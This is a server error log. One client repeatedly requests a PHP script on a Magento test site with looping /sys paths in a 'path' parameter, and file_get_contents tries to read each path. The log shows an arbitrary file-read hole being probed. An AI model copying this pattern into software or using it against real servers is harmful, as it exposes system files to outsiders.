[Thu Mar 26 11:17:05.196192 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:17:06.857472 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/drivers/ac
[Thu Mar 26 11:17:11.520303 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:17:17.542699 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:17:18.099830 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:17:18.672177 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:fe
[Thu Mar 26 11:17:19.196994 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:17:21.845750 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:cc
[Thu Mar 26 11:17:25.006932 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:fa
[Thu Mar 26 11:17:28.200366 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/drivers/tpm_crb/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/drivers/tpm_crb
[Thu Mar 26 11:17:28.727127 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:de
[Thu Mar 26 11:17:31.897398 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:17:32.442641 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:fa
[Thu Mar 26 11:17:35.589552 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:bc
[Thu Mar 26 11:17:43.607359 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/drivers/ec
[Thu Mar 26 11:17:47.571427 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/drivers/ec
[Thu Mar 26 11:17:48.091541 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:17:49.687021 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:ce
[Thu Mar 26 11:17:51.391669 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:aa
[Thu Mar 26 11:17:52.939153 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:17:57.703986 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/drivers/ac
[Thu Mar 26 11:17:59.910325 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:18:00.925683 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:ca
[Thu Mar 26 11:18:02.520161 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:be
[Thu Mar 26 11:18:03.554795 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:fa
[Thu Mar 26 11:18:04.147730 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:18:04.627385 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:fa
[Thu Mar 26 11:18:05.186856 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:bc
[Thu Mar 26 11:18:05.674794 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 11:18:07.860039 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ae
[Thu Mar 26 11:18:10.426747 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:18:13.594503 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/drivers/ec
[Thu Mar 26 11:18:14.126282 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/drivers/ac
[Thu Mar 26 11:18:15.134486 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:18:16.155512 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 11:18:17.263879 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:ea
[Thu Mar 26 11:18:18.857701 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:18:19.882231 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ac
[Thu Mar 26 11:18:20.905874 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:18:24.028478 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:18:26.163654 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:18:32.011174 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:de
[Thu Mar 26 11:18:33.022451 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:18:35.221542 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ca
